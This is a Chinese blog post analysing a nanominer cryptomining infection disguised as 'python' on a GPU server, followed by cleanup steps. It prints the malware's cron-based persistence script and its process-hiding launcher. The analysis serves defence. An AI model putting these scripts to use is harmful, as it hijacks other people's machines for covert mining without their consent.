【linux】挖矿病毒nanominer伪装成python占用服务器GPU!本文带你分析并杀毒!

news2025/1/10 10:19:33

病毒表现

gpustat -cpu

可以看到root用户将GPU的核心跑满了每个占用都是100%,显存吃了6G多。
在这里插入图片描述

nvidia-smi

不能正常显示GPU被哪些进程占用
![在这里插入图片描述](https://img-blog.csdnimg.cn/780f90080a084a44ac59227e384f985b.png

病毒文件分析

在/tmp/.x/目录中
在这里插入图片描述

总结:
amdmemtweak: 优化显存时序,提高挖矿效能
config.ini: 挖矿配置文件
doos.pid: 挖矿进程的pid号
logs: 挖矿病毒的输出log
nanominer: 3.7.7-linux版本的挖矿病毒,这个不能跑
python: 伪装从python的3.7.7-cuda11-linux版本的挖矿病毒,这个可以跑
null: 执行Python.cfg文件
Python.cfg: 病毒运行的关键shell命令,设置定时任务,执行挖矿病毒程序
run: 调用top运行挖矿病毒python并伪装,隐藏输出信息
top: 就是ubuntu系统管理查看进程的命令
运行顺序为:
null>Python.cfg>run
nul调用Python.cfg shell命令脚本, Python.cfg脚本

config.ini

文件内容:配置文件

[Octopus]
wallet=cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
coin=CFX
rigName=E1
pool1 = 10.115.10.129:5353
email=bashirc@hotmail.com

Python.cfg

文件内容:病毒的shell命令

#!/bin/sh
pwd > new.dir
dir=$(cat new.dir)
echo "* * * * * $dir/nano.backup >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep nano.backup
echo "#!/bin/sh
if test -r $dir/doos.pid; then
pid=\$(cat $dir/doos.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > nano.backup
chmod u+x nano.backup
./run

这些命令的大概作用是:

  1. pwd > new.dir :将当前目录的路径写入到 new.dir 文件中。
  2. dir=$(cat new.dir) :读取 new.dir 文件的内容,将其保存为 dir 变量。
  3. echo “* * * * * $dir/nano.backup >/dev/null 2>&1” > cron.d :将一个cron任务的设置写入到 cron.d 文件中,该任务会每分钟执行 nano.backup 脚本文件,其中标准输出和标准错误输出都被重定向到 /dev/null 中。
  4. crontab cron.d :将 cron.d 文件导入到cron中,即将新的cron任务加入到系统中。
  5. crontab -l | grep nano.backup :查看cron任务列表,确认 nano.backup 脚本已经加入到了cron中。
  6. echo "#!/bin/sh… :将一段shell脚本保存成 nano.backup 脚本文件,这段脚本会根据指定的pid文件和路径信息执行 run 脚本,并将标准输出和标准错误输出都重定向到 /dev/null 。
  1. 检查pid文件是否存在并且可读( test -r $dir/doos.pid ),如果存在则将pid文件中的进程号读取出来( pid=$(cat $dir/doos.pid) )。
  2. 判断读取的进程号是否存在( if $(kill -CHLD $pid >/dev/null 2>&1) ),如果存在则向该进程发送 SIGCHLD 信号(通过 kill 命令实现),然后退出脚本( exit 0 )。
  3. 如果上述判断失败,则进入到 $dir 目录中( cd $dir ),并执行 run 脚本( ./run ),将标准输出和标准错误输出都重定向到 /dev/null 中( &>/dev/null )。
    具体来看,这段脚本的作用是检测应用程序是否已经在运行,如果已经在运行,则不会重启程序;如果未运行,则重启程序。该脚本通过读取 $dir/doos.pid 文件中的进程号,然后向该进程发送 SIGCHLD 信号,如果发送成功,则说明该进程存在,已经在运行中,此时脚本会直接退出。反之,则认为该进程不存在,需要启动应用程序。最后,该脚本还将标准输出和标准错误输出都重定向到 /dev/null 中,以屏蔽应用程序的输出信息。
  1. chmod u+x nano.backup :将 nano.backup 文件设置为可执行文件。
  2. ./run :执行 run 脚本,启动应用程序。

执行结果:
这里都直说了Fakename: python
在这里插入图片描述

run

#!/bin/bash
ARCH=`uname -m`
HIDE="python"

./top -s $HIDE  ./python >>/dev/null &

echo $! > doos.pid

  1. 获取当前系统的机器架构,并将其保存在 ARCH 变量中。
  2. 设置一个 HIDE 变量,其值为 python ,表示需要隐藏执行 ./python 命令的输出。
  3. 使用 ./top 命令启动 ./python 进程,并将标准输出重定向到 /dev/null 中。命令中的 & 表示将进程放到后台运行。
  4. 将 ./python 进程的进程ID保存到 doos.pid 文件中, $! 表示获取最近一个在后台运行的进程的进程ID。这个文件的作用应该是用于后续检查应用程序是否已经在运行中

nanominer

这个nanominer反而不能跑成功,提示

2023-May-18 18:48:36: This is the wrong version of nanominer for device #0.
Need to download the 3.7.7-cuda11 version to work on device #0.

 _ __   __ _ _ __   ___  _ __ ___ (_)_ __   ___ _ __
| '_ \ / _` | '_ \ / _ \| '_ ` _ \| | '_ \ / _ \ '__|
| | | | (_| | | | | (_) | | | | | | | | | |  __/ |
|_| |_|\__,_|_| |_|\___/|_| |_| |_|_|_| |_|\___|_|

Version 3.7.7-linux
2023-May-18 18:48:30: Started EthMan server on port 3333 without a password (read-only mode).
2023-May-18 18:48:30: Started web interface on port 9090 without a password.
2023-May-18 18:48:30: CUDA driver version is 11.7, runtime version is 10.0
2023-May-18 18:48:30: NVIDIA driver version: 515.48.07
Detected 8 devices
GPU 0 PCI 1a:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 1 PCI 1b:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 2 PCI 3d:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 3 PCI 3e:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 4 PCI 88:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 5 PCI 89:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 6 PCI b1:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 7 PCI b2:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
------------------Octopus:------------------
Currency: Conflux
Wallet: cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
Rig name: E1
Email: bashirc@hotmail.com
Hashrate threshold to restart miner is not set
Number of rejected shares per hour to restart miner is not set
Added pool: 10.115.10.129:5353
Auto pool sorting is disabled
Using all GPU devices
-------------Common parameters:-------------
Log path: ./logs/
Log is written to file
GPU watchdog is enabled
Never calling reboot.sh (always restarting the miner in case of errors).
2023-May-18 18:48:31: Setting up algorithm: Octopus
2023-May-18 18:48:36: This is the wrong version of nanominer for device #0.
Need to download the 3.7.7-cuda11 version to work on device #0.

2023-May-18 18:48:41: This is the wrong version of nanominer for device #1.
Need to download the 3.7.7-cuda11 version to work on device #1.

2023-May-18 18:48:46: This is the wrong version of nanominer for device #2.
Need to download the 3.7.7-cuda11 version to work on device #2.

2023-May-18 18:48:51: This is the wrong version of nanominer for device #3.
Need to download the 3.7.7-cuda11 version to work on device #3.

2023-May-18 18:48:56: This is the wrong version of nanominer for device #4.
Need to download the 3.7.7-cuda11 version to work on device #4.

2023-May-18 18:49:01: This is the wrong version of nanominer for device #5.
Need to download the 3.7.7-cuda11 version to work on device #5.

2023-May-18 18:49:06: This is the wrong version of nanominer for device #6.
Need to download the 3.7.7-cuda11 version to work on device #6.

2023-May-18 18:49:11: This is the wrong version of nanominer for device #7.
Need to download the 3.7.7-cuda11 version to work on device #7.

2023-May-18 18:49:11: Connecting to pools...
2023-May-18 18:49:11: No GPU devices to run on, exiting.

在这里插入图片描述

python

这个python其实才是真正挖矿的程序

 _ __   __ _ _ __   ___  _ __ ___ (_)_ __   ___ _ __
| '_ \ / _` | '_ \ / _ \| '_ ` _ \| | '_ \ / _ \ '__|
| | | | (_| | | | | (_) | | | | | | | | | |  __/ |
|_| |_|\__,_|_| |_|\___/|_| |_| |_|_|_| |_|\___|_|

Version 3.7.7-cuda11-linux
2023-May-18 18:53:08: Started EthMan server on port 3333 without a password (read-only mode).
2023-May-18 18:53:08: Started web interface on port 9090 without a password.
2023-May-18 18:53:08: CUDA driver version is 11.7, runtime version is 11.1
2023-May-18 18:53:08: NVIDIA driver version: 515.48.07
Detected 8 devices
GPU 0 PCI 1a:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 1 PCI 1b:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 2 PCI 3d:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 3 PCI 3e:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 4 PCI 88:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 5 PCI 89:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 6 PCI b1:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 7 PCI b2:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
------------------Octopus:------------------
Currency: Conflux
Wallet: cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
Rig name: E1
Email: bashirc@hotmail.com
Hashrate threshold to restart miner is not set
Number of rejected shares per hour to restart miner is not set
Added pool: 10.115.10.129:5353
Auto pool sorting is disabled
Using all GPU devices
-------------Common parameters:-------------
Log path: ./logs/
Log is written to file
GPU watchdog is enabled
Never calling reboot.sh (always restarting the miner in case of errors).
2023-May-18 18:53:08: Setting up algorithm: Octopus
2023-May-18 18:53:09: Connecting to pools...
2023-May-18 18:53:10: Connected to pool: 10.115.10.129:5353
2023-May-18 18:53:11: New job from 10.115.10.129:5353 | share difficulty = 2 GH, epoch 136 (6271 MB)
2023-May-18 18:53:11: New job from 10.115.10.129:5353
2023-May-18 18:53:12: New job from 10.115.10.129:5353
2023-May-18 18:53:13: New job from 10.115.10.129:5353
2023-May-18 18:53:14: New job from 10.115.10.129:5353
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:15: GPU7: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU2: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: GPU6: 6271 MB DAG generated in 2.88 seconds
2023-May-18 18:53:15: GPU4: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU3: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU0: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU5: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: GPU1: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:17: New job from 10.115.10.129:5353
2023-May-18 18:53:17: New job from 10.115.10.129:5353
2023-May-18 18:53:18: New job from 10.115.10.129:5353
2023-May-18 18:53:20: New job from 10.115.10.129:5353
2023-May-18 18:53:22: New job from 10.115.10.129:5353
2023-May-18 18:53:22: New job from 10.115.10.129:5353
2023-May-18 18:53:23: Conflux - SHARE FOUND (GPU: 5, nonce: 0xcf49525435089c3e).
2023-May-18 18:53:23: New job from 10.115.10.129:5353
Conflux: share accepted (433 ms)!
2023-May-18 18:53:23: Conflux - SHARE FOUND (GPU: 2, nonce: 0xcc4ac5380181a83b).
Conflux: share accepted (480 ms)!
2023-May-18 18:53:25: New job from 10.115.10.129:5353
2023-May-18 18:53:25: Conflux - SHARE FOUND (GPU: 7, nonce: 0x3e7b767456ac78fd).
Conflux: share accepted (478 ms)!
2023-May-18 18:53:27: Conflux - SHARE FOUND (GPU: 1, nonce: 0x744adc98b65cbe5a).
2023-May-18 18:53:27: New job from 10.115.10.129:5353
Conflux: share accepted (467 ms)!
2023-May-18 18:53:27: Conflux - SHARE FOUND (GPU: 4, nonce: 0x497dd46efd87caba).
Conflux: share accepted (461 ms)!
2023-May-18 18:53:28: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:32: New job from 10.115.10.129:5353
2023-May-18 18:53:32: New job from 10.115.10.129:5353
2023-May-18 18:53:33: New job from 10.115.10.129:5353
2023-May-18 18:53:33: New job from 10.115.10.129:5353
2023-May-18 18:53:35: Conflux - SHARE FOUND (GPU: 5, nonce: 0xab25c4cdb489e49f).
Conflux: share accepted (442 ms)!
2023-May-18 18:53:37: New job from 10.115.10.129:5353
2023-May-18 18:53:37: New job from 10.115.10.129:5353
2023-May-18 18:53:38: New job from 10.115.10.129:5353
Conflux - Total speed: 695.137 MH/s, Total shares: 6 Rejected: 0, Time: 00:30
Conflux: GPU 0 89.900 MH/s, GPU 1 87.289 MH/s, GPU 2 88.755 MH/s, GPU 3 86.367 MH/s, GPU 4 83.192 MH/s, GPU 5 88.340 MH/s, GPU 6 84.940 MH/s, GPU 7 86.353 MH/s
GPU0 t=54°C fan 31% power 340.16W, GPU1 t=55°C fan 32% power 340.58W, GPU2 t=49°C fan 30% power 341.03W, GPU3 t=53°C fan 31% power 331.94W, GPU4 t=48°C fan 30% power 322.81W, GPU5 t=56°C fan 32% power 343.67W, GPU6 t=52°C fan 31% power 341.52W, GPU7 t=53°C fan 31% power 343.03W. Total power: 2704.74W

在这里插入图片描述

amdmemtweak

作用:优化显存时序,提高挖矿效能
参考:专注AMD显卡显存超频:爱好者自制 AMD Memory Tweak 软件

 AMD Memory Tweak
 Read and modify memory timings on the fly
 By Eliovp & A.Solodovnikov

 Global command line options:
 --help|--h     Show this output
 --version|--v  Show version info
 --gpu|--i [comma-separated gpu indices]        Selected device(s)
 --current|--c  List current timing values

 Command line options: (HBM2)
 --CL|--cl [value]
 --RAS|--ras [value]
 --RCDRD|--rcdrd [value]
 --RCDWR|--rcdwr [value]
 --RC|--rc [value]
 --RP|--rp [value]
 --RRDS|--rrds [value]
 --RRDL|--rrdl [value]
 --RTP|--rtp [value]
 --FAW|--faw [value]
 --CWL|--cwl [value]
 --WTRS|--wtrs [value]
 --WTRL|--wtrl [value]
 --WR|--wr [value]
 --RREFD|--rrefd [value]
 --RDRDDD|--rdrddd [value]
 --RDRDSD|--rdrdsd [value]
 --RDRDSC|--rdrdsc [value]
 --RDRDSCL|--rdrdscl [value]
 --WRWRDD|--wrwrdd [value]
 --WRWRSD|--wrwrsd [value]
 --WRWRSC|--wrwrsc [value]
 --WRWRSCL|--wrwrscl [value]
 --WRRD|--wrrd [value]
 --RDWR|--rdwr [value]
 --REF|--ref [value]
 --MRD|--mrd [value]
 --MOD|--mod [value]
 --XS|--xs [value]
 --XSMRS|--xsmrs [value]
 --PD|--pd [value]
 --CKSRE|--cksre [value]
 --CKSRX|--cksrx [value]
 --RFCPB|--rfcpb [value]
 --STAG|--stag [value]
 --XP|--xp [value]
 --CPDED|--cpded [value]
 --CKE|--cke [value]
 --RDDATA|--rddata [value]
 --WRLAT|--wrlat [value]
 --RDLAT|--rdlat [value]
 --WRDATA|--wrdata [value]
 --CKESTAG|--ckestag [value]
 --RFC|--rfc [value]

 Command line options: (HBM)
 --DAT_DLY0|1|2|3 | --dat_dly0|1|2|3 [value]
 --DQS_DLY0|1|2|3 | --dqs_dly0|1|2|3 [value]
 --DQS_XTR0|1|2|3 | --dqs_xtr0|1|2|3 [value]
 --OEN_DLY0|1|2|3 | --oen_dly0|1|2|3 [value]
 --OEN_EXT0|1|2|3 | --oen_ext0|1|2|3 [value]
 --OEN_SEL0|1|2|3 | --oen_sel0|1|2|3 [value]
 --CMD_DLY0|1|2|3 | --cmd_dly0|1|2|3 [value]
 --ADR_DLY0|1|2|3 | --adr_dly0|1|2|3 [value]
 --CKSRE|--cksre [value]
 --CKSRX|--cksrx [value]
 --CKE_PULSE|--cke_pulse [value]
 --CKE|--cke [value]
 --SEQ_IDLE|--seq_idle [value]
 --CL|--cl [value]
 --W2R|--w2r [value]
 --R2R|--r2r [value]
 --CCDL|--ccdl [value]
 --R2W|--r2w [value]
 --NOPR|--nopr [value]
 --NOPW|--nopw [value]
 --RCDW|--rcdw [value]
 --RCDWA|--rcdwa [value]
 --RCDR|--rcdr [value]
 --RCDRA|--rcdra [value]
 --RRD|--rrd [value]
 --RC|--rc [value]
 --MRD|--mrd [value]
 --RRDL|--rrdl [value]
 --RFC|--rfc [value]
 --TRP|--trp [value]
 --RP_WRA|--rp_wra [value]
 --RP_RDA|--rp_rda [value]
 --WDATATR|--wdatatr [value]
 --T32AW|--t32aw [value]
 --CRCWL|--crcwl [value]
 --CRCRL|--crcrl [value]
 --FAW|--faw [value]
 --PA2WDATA|--pa2wdata [value]
 --PA2RDATA|--pa2rdata [value]
 --DBR|--dbr [value]
 --DBW|--dbw [value]
 --TCSR|--tcsr [value]
 --DQR|--dqr [value]
 --DQW|--dqw [value]
 --ADD_PAR|--add_par [value]
 --TM|--tm [value]
 --WR|--wr [value]
 --NDS|--nds [value]
 --WL|--wl [value]
 --RL|--rl [value]
 --APRAS|--apras [value]
 --BG|--bg [value]
 --BL|--bl [value]
 --REF|--ref [value]
 --ENB|--enb [value]
 --CNT|--cnt [value]
 --TRC|--trc [value]
 --THRESH|--thresh [value]
 --LEVEL|--level [value]
 --PWRDOWN|--pwrdown [value]
 --SHUTDOWN|--shutdown [value]
 --EN_SHUTDOWN|--en_shutdown [value]
 --OVERSAMPLE|--oversample [value]
 --AVG_SAMPLE|--avg_sample [value]

 Command line options: (GDDR5)
 --DAT_DLY0|1 | --dat_dly0|1 [value]
 --DQS_DLY0|1 | --dqs_dly0|1 [value]
 --DQS_XTR0|1 | --dqs_xtr0|1 [value]
 --DAT_2Y_DLY0|1 | --dat_2y_dly0|1 [value]
 --ADR_2Y_DLY0|1 | --adr_2y_dly0|1 [value]
 --CMD_2Y_DLY0|1 | --cmd_2y_dly0|1 [value]
 --OEN_DLY0|1 | --oen_dly0|1 [value]
 --OEN_EXT0|1 | --oen_ext0|1 [value]
 --OEN_SEL0|1 | --oen_sel0|1 [value]
 --ODT_DLY0|1 | --odt_dly0|1 [value]
 --ODT_EXT0|1 | --odt_ext0|1 [value]
 --ADR_DLY0|1 | --adr_dly0|1 [value]
 --CMD_DLY0|1 | --cmd_dly0|1 [value]
 --CKSRE|--cksre [value]
 --CKSRX|--cksrx [value]
 --CKE_PULSE|--cke_pulse [value]
 --CKE|--cke [value]
 --SEQ_IDLE|--seq_idle [value]
 --CL|--cl [value]
 --W2R|--w2r [value]
 --R2R|--r2r [value]
 --CCDL|--ccdl [value]
 --R2W|--r2w [value]
 --NOPR|--nopr [value]
 --NOPW|--nopw [value]
 --RCDW|--rcdw [value]
 --RCDWA|--rcdwa [value]
 --RCDR|--rcdr [value]
 --RCDRA|--rcdra [value]
 --RRD|--rrd [value]
 --RC|--rc [value]
 --RFC|--rfc [value]
 --TRP|--trp [value]
 --RP_WRA|--rp_wra [value]
 --RP_RDA|--rp_rda [value]
 --WDATATR|--wdatatr [value]
 --T32AW|--t32aw [value]
 --CRCWL|--crcwl [value]
 --CRCRL|--crcrl [value]
 --FAW|--faw [value]
 --PA2WDATA|--pa2wdata [value]
 --PA2RDATA|--pa2rdata [value]
 --WL|--wl [value]
 --MR0_CL|--mr0_cl [value]
 --TM|--tm [value]
 --WR|--wr [value]
 --DS|--ds [value]
 --DT|--dt [value]
 --ADR|--adr [value]
 --CAL|--cal [value]
 --PLL|--pll [value]
 --RDBI|--rdbi [value]
 --WDBI|--wdbi [value]
 --ABI|--abi [value]
 --RESET|--reset [value]
 --SR|--sr [value]
 --WCK01|--wck01 [value]
 --WCK23|--wck23 [value]
 --WCK2CK|--wck2ck [value]
 --RDQS|--rdqs [value]
 --INFO|--info [value]
 --WCK2|--wck2 [value]
 --BG|--bg [value]
 --EDCHP|--edchp [value]
 --CRCWL|--crcwl [value]
 --CRCRL|--crcrl [value]
 --RDCRC|--rdcrc [value]
 --WRCRC|--wrcrc [value]
 --EDC|--edc [value]
 --RAS|--ras [value]
 --CLEHF|--clehf [value]
 --WREHF|--wrehf [value]
 --ACTRD|--actrd [value]
 --ACTWR|--actwr [value]
 --RASMACTRD|--rasmactrd [value]
 --RASMACWTR|--rasmacwtr [value]
 --RAS2RAS|--ras2ras [value]
 --RP|--rp [value]
 --WRPLUSRP|--wrplusrp [value]
 --BUS_TURN|--bus_turn [value]
 --REF|--ref [value]
 --TWT2RT|--twt2rt [value]
 --TARF2T|--tarf2t [value]
 --TT2ROW|--tt2row [value]
 --TLD2LD|--tld2ld [value]

 HBM2 Example usage: ./amdmemtool --i 0,3,5 --faw 12 --RFC 208
 HBM Example usage: ./amdmemtool --i 6 --ref 13
 GDDR5 Example usage: ./amdmemtool --i 1,2,4 --RFC 43 --ras2ras 176

 Make sure to run the program first with parameter --current to see what the current values are.
 Current values may change based on state of the GPU,
 in other words, make sure the GPU is under load when running --current
 HBM2 Based GPU's do not need to be under load to apply timing changes.
 Hint: Certain timings such as CL (Cas Latency) are stability timings, lowering these will lower stability.

病毒查杀

1、查看文件创建者和创建日期

cd /tmp/.x
ll

发现是root在2:00创建的

2、查看哪个用户在哪个时间登录了服务器

last

果然是有一系列IP以root身份登录系统,其中2:00登录的10.115.10.129和挖矿病毒log里的IP也对的上(New job from 10.115.10.129:5353)
在这里插入图片描述

3、删除病毒文件

  • 删除病毒临时文件
sudo rm -r /tmp/.x
  • 病毒的实际文件位置
    待补充方法

4、修改root密码

sudo passwd root

5、禁用root ssh远程登录

sudo vim /etc/ssh/sshd_config
# 设置: PermitRootLogin no
# 重启生效
service sshd restart

6、禁用IP和端口

方法1:iptables

  • 🈲端口
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 5053 -j DROP
  • 🈲IP
iptables -I INPUT -s 10.115.10.129 -j DROP
  • 保存配置
    sudo service iptables save
    实测这条命令行不通,报错:iptables: unrecognized service
    下面这条可以
sudo iptables-save

方法2:ufw

UFW (Uncomplicated Firewall)是Ubuntu 自带的防火墙配置工具 。UFW 是一个用来管理 iptables 防火墙规则的用户友好的前端工具。它的主要目的就是为了使得管理 iptables 更简单。

Ubuntu安装完毕,默认没有启动ufw。所以如果直接运行上述语句,那么它启动后就会使用默认规则,禁止一切流量,包括SSH的22端口,如果本来就是在SSH上远程操作,那么悲剧了,所以要先启用SSH的端口(默认是22,如果你设置了其他端口就加上去)

sudo ufw allow 22
sudo ufw reject 80 #(拒绝,直接返回:Connection refused)
sudo ufw deny 5053 #(否认,过段时间后返回:Connection timed out)
sudo ufw enable
sudo ufw status

参考:
Linux下iptables屏蔽IP和端口号
如何在 Ubuntu 20.04 上使用 UFW 来设置防火墙
Ubuntu 18.04 防火墙设置ufw详解
Ubuntu自带防火墙ufw配置和用法

7、清除定时任务crontab

crontab -l
crontab -l -u username #查看某个用户的定时任务
crontab -r 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/543128.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

浅比一下,各大免费CDN的速度

前言 CDN那么多,到底哪个体验最好呢?今天来简单对比一下免费的CDN之间的差距,看看那家最适合白嫖 百度CDN 官网:https://su.baidu.com/ 平均速度62.7ms,需要备案的域名才行,支持SSL,流量5G/天…

Spring 整合 Mybatis -- Spring入门保姆级教程(四)

文章目录 前言五、Spring 整合 Mybatis1.Mybatis一般开发流程2.spring整合mybatis思路分析3.Spring整合Mybatis环境准备(注解开发)4.Spring整合Mybatis5.小结 引用网站及博客总结 前言 为了巩固所学的知识,作者尝试着开始发布一些学习笔记类…

​AI + 非遗文化传播,人工智能师资培训重磅招募

大语言模型热度空前,诸如文心一言、 ChatGPT 等已经能够与人对话互动、回答问题、协助创作,逐渐应用于人们的工作和生活,也引发了社会热议。为推动大模型及人工智能相关专业人员的培养,同时将人工智能技术融入非遗文化传播&#x…

电子采购系统实现方式(SRM供应商管理)

企事业数字化转型专家,提供各类应用解决方案。您身边的赋能小助手! 文章目录 前言一、当下采购的痛点二、解决方案-供应商管理1.供应商管理 三、解决方案-企业询价、供应商报价管理四、解决方案-采购订单五、送货、到货、订单管理总结 前言 随着各类产业…

软件工程(五) 结构化需求与面向对象需求分析

1、结构化需求分析(SA) 结构化需求分析要完成功能模型、数据模型和行为模型的构建。 1.1、功能模型 一般用数据流图进行建模,也就是DFD。 比如我们要开发一个子啊先教育平台系统,我们把这个系统看作一个整体,去分析哪些人员会用到这个系统。比如有学员,培训部,辅导老师…

阿里云、腾讯云、移动云飙“价”:智能普惠成新风向?

经过过去一年的“低迷”境况之后,2023年云服务商因为AI大模型的爆发,重新燃起了斗志。站在当下的时间节点,云服务商们也在重新思考如何在新形势下,让自己占据更大的优势,于是一场围绕“技术竞争与市场争夺”的新战争打…

spring boot 项目yml方式区分开发、测试生产,并在maven中配置

1、新建配置文件,分别为application.yml、application-dev.yml、application-test.yml和application-prod.yml 2、在application.yml文件中添加如下代码 spring:profiles:## ??pom???????profile??active: "profiles.active"3、在pom中的proj…

class生命周期

组件实例 化的过程称作组件的挂载(mount)。 组件挂载的过程: 构造函数(constructor)最先执行,componentWillMount() 会在 render() 方法之前 执行,而 componentDidMount() 在 render() 方法之后执行。组件更新,调用顺序如下: • componentWi…

为什么 PostQuitMessage 会被设计出来?

众所周知,我们可以使用 SendMessage 或者 PostMessage 来发送消息,那为什么在 Win32 API 中,会单独设计一个 PostQuitMessage 呢? 有一位读者 A. Skrobov 问我,”PostQuitMessage 和 PostThreadMessage(GetCurrentThreadId, WM_…

【PyTorch框架】——框架安装使用流程搭建PyTorch神经网络气温预测

目录 一、引言 二、使用流程——最简单例子试手 三、分类任务——气温预测 总结: 一、引言 Torch可以当作是能在GPU中计算的矩阵,就是ndarray的GPU版!TensorFlow和PyTorch可以说是当今最流行的框架!PyTorch用起来简单&#xff…

【开发者指南】如何在MyEclipse中使用HTML或JSP设计器?(下)

MyEclipse v2022.1.0正式版下载 三、设计编辑基础 “设计”窗口由所见即所得的网页设计画布和UI控制面板组成。在此窗口中,您可以插入、编辑、删除和移动 HTML 和 JSP UI 控件和文本。拖放操作可以轻松实现重新定位设计画布上的UI控件。扩展的复制/粘贴操作能够将…

Unity3D :PlayableGraph

推荐:将NSDT场景编辑器加入你的3D工具链 3D工具集: NSDT简石数字孪生 PlayableGraph PlayableGraph 定义一组绑定到 GameObject 或组件的可播放输出项。PlayableGraph 还定义一组可播放项及其依赖关系。图 1 提供了一个示例。 PlayableGraph 负责管理可…

卷积神经网络实例

文章目录 1. 数据输入2. 创建卷积模型并训练3. 超参数选择 卷积神经网络(CNN)主要由卷积层(Convolutional Layer)、池化层(Pooling Layer)、激活层(Activation Layer)和全连接层(Fully-connected Layer)组成。 卷积层(Convolutional Layer):卷积层是CNN的核心组成部…

职场新人如何使用ChatGPT提高工作效率

刚刚从象牙塔中毕业,走向社会战场。作为职场新人的同学们刚刚进入公司和部门,难免会被安排做些本职工作之外的事务工作,被上级安排做些零零碎碎的小东西,俗称打杂。这些工作说难不难,想要做漂亮也并不简单,…

Linux实时监控网卡入流量和出流量(iftop、dstat、nethogs、nload)

背景 相同配置和相同业务的4台cvm,今天准备下线,检查还有没有业务流量的时候,发现有两台流量不符合预期,就很奇怪,想知道流量是从哪里来的。记录下当时定位思路 先来了解下基本的概念 一、Mbps、kbps、bps、bit、b…

光纤仿真相关参数——光纤损耗、数值孔径、归一化参数

对于光纤,不难想象它频带宽、损耗低、重量轻、抗干扰能力强、工作性能可靠、成本低等优点。 光纤的损耗可以用以下公式表示: 在光的传播过程中,会按照光线的功率损耗系数\alpha衰减,单位为 我们可以用经过一端距离l后输出的光功率…

electron 使用electron-packager打linux-x64包与linux-arm64包,解决打包缓慢问题

使用electron-packager打linux-x64包与linux-arm64包,解决下载zip打包缓慢问题 在使用electron-packager打包的过程中,需要在第一次下载electron版本对应的zip文件,下载很缓慢,而且还可能出现每次都在下载zip的情况 解决思路是提前下载好zip文…

【Linux】kill、raise、abort函数

目录 1、kill、raise、abort函数2、代码示例 橙色 1、kill、raise、abort函数 /* #include <sys/types.h>#include <signal.h>int kill(pid_t pid, int sig);- 功能&#xff1a;给任何的进程或者进程组pid, 发送任何的信号 sig- 参数&#xff1a;- pid &#xf…

【LED子系统】六、核心层详解(三)

个人主页&#xff1a;董哥聊技术 我是董哥&#xff0c;高级嵌入式软件开发工程师&#xff0c;从事嵌入式Linux驱动开发和系统开发&#xff0c;曾就职于世界500强公司&#xff01; 创作理念&#xff1a;专注分享高质量嵌入式文章&#xff0c;让大家读有所得&#xff01; 文章目录…

腾讯云轻量应用服务器性能测评(全网超详细)

腾讯云轻量应用服务器性能如何&#xff1f;CPU型号主频、内存、公网带宽和系统盘存储多维对比&#xff0c;轻量应用服务器会不会比云服务器CVM性能差&#xff1f;相对于CVM云服务器轻量服务器更适合轻量级的应用&#xff0c;轻量服务适合中小企或个人开发者用于搭建We网站b应用…